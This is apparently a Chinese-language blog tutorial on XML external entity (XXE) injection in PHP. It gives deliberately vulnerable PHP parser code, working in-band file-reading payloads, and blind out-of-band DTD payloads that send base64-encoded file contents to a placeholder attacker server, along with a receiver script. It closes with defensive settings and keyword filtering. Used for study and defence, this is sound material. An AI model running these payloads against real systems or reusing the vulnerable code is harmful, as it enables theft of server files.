xxe

简介: 参考文献:https://www.cnblogs.com/r00tuser/p/7255939.htmlhttp://www.freebuf.com/column/156863.htmllibxml2.9.1及以后,默认不解析外部实体。

参考文献:https://www.cnblogs.com/r00tuser/p/7255939.html
http://www.freebuf.com/column/156863.html

libxml2.9.1及以后,默认不解析外部实体。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

xxe是xml外部实体注入。
实体又分为一般实体和参数实体
① 一般实体的声明语法:

<!ENTITY 实体名 "实体内容">

引用实体的方式:&实体名;
②参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容">
引用实体的方式:%实体名;
有回显:

<?php
$data = simplexml_load_string($_GET['xml']);
print_r($data);
?>

无回显

<?php
$data = simplexml_load_string($_GET['xml']);
?>

利用xxe漏洞可以进行拒绝服务攻击,一般xxe利用分为两种:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据

(1)有回显,可利用的方式:(&需要转化为url编码%26)

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

<!DOCTYPE xxe [<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo> 

(2)无回显,可利用的方式
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(自己服务器)
%号要进行实体编码成&#x25(16进制)或&#37(10进制);
①.偷用下师父的payload。
自己服务器下的xxe.xml内容

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">  
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxx.xxx.xxx.xxx/xxe/xxe.php?yy=%payload;'>">  
%int;  
%trick;  

在xxe.xml同级还有个xxe.php文件

<?php
file_put_contents('1.txt',$_GET['yy']);
?>

在外部攻击的内容:

<!DOCTYPE root[  
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/xxe/xxe.xml">  
%remote;]>  
<root/>

②.

<!DOCTYPE file1 [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/xxe.dtd">
%dtd;
%send;
]>

在xxe.dtd同级还有个xxe1.php文件:

<?php
file_put_contents('1.txt',$_GET['yy']);
?>

xxe.dtd里面的内容:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/xxe1.php?yy=%payload;'>">
%all;

这个payload的原理和师父的一样。可以在1.txt里面或者是日志里面查看base64加密过的想要查看的文件,(查看日志的命令:tail -f /var/log/apache2/access.log

如何防御xxe攻击
①使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
②过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

目录
相关文章
|
12月前
|
XML SQL Web App开发
用友 GRP-U8 Proxy XXE-SQL注入漏洞
用友 GRP-U8 Proxy XXE-SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息,具体复现操作请看下文。
329 1
|
XML 安全 测试技术
XXE 外部实体注入漏洞
XXE 外部实体注入漏洞
90 0
|
1月前
|
XML 安全 网络安全
XXE漏洞详解(一)——XML基础
XXE漏洞详解(一)——XML基础
26 1
|
1月前
|
XML 安全 网络安全
XXE漏洞详解(三)——XXE漏洞实际运用
XXE漏洞详解(三)——XXE漏洞实际运用
61 4
|
1月前
|
XML 安全 网络安全
XXE漏洞详解(二)——DTD基础
XXE漏洞详解(二)——DTD基础
35 2
|
12月前
|
XML 安全 Java
WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)
WebLogic EJBTaglibDescriptor 在反序列化的同时会进行XML解析,通过重写EJBTaglibDescriptor中的writeExternal函数生成恶意的序列化数据。
229 1
|
XML 存储 安全
WEB漏洞 XML & XXE漏洞
WEB漏洞 XML & XXE漏洞
|
XML 安全 Java
代码审计——XXE详解
代码审计——XXE详解
229 0
|
XML 安全 网络协议
WEB常见漏洞之XXE(靶场篇)
WEB常见漏洞之XXE(靶场篇)
895 0
|
XML 供应链 安全
Apache Jena XXE漏洞(CVE-2022-28890)
Apache Jena XXE漏洞(CVE-2022-28890)